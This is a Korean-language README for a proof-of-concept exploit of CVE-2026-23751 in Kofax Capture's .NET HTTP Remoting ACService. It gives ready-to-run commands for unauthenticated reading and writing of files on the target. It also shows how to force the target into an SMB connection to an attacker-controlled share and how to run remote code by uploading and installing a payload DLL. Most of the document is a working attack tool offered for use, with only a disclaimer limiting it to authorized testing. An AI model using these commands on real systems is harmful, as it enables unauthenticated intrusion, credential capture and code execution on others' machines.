
CVE-2026-23751(Tungsten Automation - Kofax Capture의 .NET HTTP Remoting을 통한 인증되지 않은 파일 읽기/쓰기, 원격 코드 실행 및 SMB 강제 연결)을 익스플로잇하도록 RemotingClient를 패치했습니다.
Code White의 NewRemotingTricks에서 설명된 .NET HTTP Remoting 기법을 Tungsten Automation Kofax Capture를 대상으로 구현한 개념 증명(Proof-of-concept)입니다.
제목: Tungsten Automation Kofax Capture의 .NET HTTP Remoting을 통한 비인증 파일 읽기/쓰기 및 명령 실행
CVE: CVE-2026-23751
이 PoC의 작성자 (CVE 작성자가 아님): Filip Sanders, Siebren Kraak
CVE-2026-23751은 Tungsten Automation Kofax Capture에 영향을 미치며, 비인증 원격 공격자가 Kofax Capture ACService에서 노출되는 .NET HTTP Remoting 엔드포인트와 상호작용할 수 있도록 합니다.
이 취약점은 Kofax Capture 서비스의 보안 컨텍스트에서 다음과 같은 작업을 수행하도록 악용될 수 있습니다:
이 PoC는 Code White의 NewRemotingTricks 프로젝트에서 관련 .NET Remoting 기법을 재구현한 것입니다.
이 PoC는 Kofax Capture ACService HTTP Remoting 엔드포인트를 대상으로 합니다:
http://<target>:2424/ACService
포트 2424는 영향을 받는 서비스에서 사용하는 기본 HTTP Remoting 포트입니다.
PoC는 세 가지 작업을 지원합니다:
read
write
exec
일반적인 구문은 다음과 같습니다:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
다음 예제는 대상에서 Windows hosts 파일을 읽습니다:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Kofax Capture 구성 파일도 마찬가지로 읽을 수 있습니다:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
원격 리소스는 file:// URI를 사용하여 접근할 수도 있습니다:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
원격 WebClient가 반환한 내용은 표준 출력에 기록됩니다.
대상 경로 뒤에 내용을 지정하면 Kofax Capture 서비스가 접근할 수 있는 위치에 파일을 쓸 수 있습니다:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
제공된 콘텐츠는 UTF-8로 인코딩되며, 원격으로 인스턴스화된 WebClient를 사용하여 업로드됩니다.
동일한 기능을 UNC 경로와 함께 사용하여 원격 SMB 공유에 쓸 수 있습니다:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
원격 리소스에 접근하는 능력은 Kofax Capture 서비스의 권한 및 보안 컨텍스트에 따라 달라집니다.
read 작업은 원격 file:// 리소스와 함께 사용하여 대상이 공격자가 제어하는 SMB 리소스에 접근하도록 유도할 수 있습니다:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
이는 대상 환경과 보안 구성에 따라 영향을 받는 호스트가 공격자가 제어하는 SMB 서버에 인증하도록 만들 수 있습니다.
exec 작업은 원격 Kofax Capture 서비스의 컨텍스트에서 제공된 .NET 어셈블리를 실행하는 데 사용할 수 있습니다.
어셈블리는 먼저 대상에 업로드된 다음 원격으로 인스턴스화된 AssemblyInstaller를 사용하여 로드됩니다:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
제공된 경로는 업로드된 어셈블리의 대상 위치로 사용되며, 이후 원격 AssemblyInstaller로 전달됩니다. 어셈블리는 서버 측에서 로드되어 .NET Framework 설치 메커니즘을 통해 설치됩니다.
실행 후 PoC는 다음 위치에서 실행 출력을 읽습니다:
C:\Windows\Temp\pwn_out.txt
페이로드의 정확한 동작은 Payload.dll의 내용에 따라 달라집니다.
이 취약점은 Kofax Capture의 ACService가 .NET HTTP Remoting을 사용하는 것과 관련이 있습니다.
.NET Remoting은 원격 MarshalByRefObject 인스턴스와 통신하기 위한 메커니즘을 제공합니다. 노출된 remoting 엔드포인트와 상호작용하고 논리적 호출 컨텍스트를 조작함으로써, PoC는 MarshalByRefObject를 상속하는 .NET Framework 클래스의 원격 인스턴스를 획득할 수 있습니다.
PoC는 이 동작을 이용하여 다음의 원격 인스턴스를 획득합니다:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
원격으로 인스턴스화된 WebClient는 이후 Kofax Capture 서비스의 컨텍스트에서 파일 시스템 및 네트워크 작업을 수행하는 데 사용될 수 있습니다.
명령 실행을 위해 PoC는 원격 WebClient를 사용하여 Payload.dll을 업로드하고, 원격 AssemblyInstaller를 획득하여 어셈블리 경로를 설정한 뒤 설치 메커니즘을 호출합니다. 이로 인해 제공된 어셈블리가 대상에서 로드되고 실행됩니다.
따라서 PoC는 다음과 같은 기본 기능을 입증합니다:
MarshalByRefObject 인스턴스의 원격 인스턴스화write 기능은 현재 UTF-8로 인코딩된 문자열 데이터에 대해 동작합니다. 소스 코드를 수정하여 추가 파일 형식과 페이로드 형식을 지원할 수 있습니다.
ACService에 대한 네트워크 접근RemotingClient_MBRO_Lazy.exeexec 작업 사용 시 Payload.dll익스플로잇을 위해 Kofax Capture 서비스에 대한 인증은 필요하지 않습니다.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
이 저장소는 보안 연구, 취약점 검증, 승인된 침투 테스트 목적으로만 제공됩니다.
명시적인 승인 없이 시스템에 이 PoC를 사용하지 마십시오. 저자는 이 소프트웨어의 오용으로 인해 발생하는 손상, 데이터 손실, 무단 접근 또는 기타 결과에 대해 책임지지 않습니다.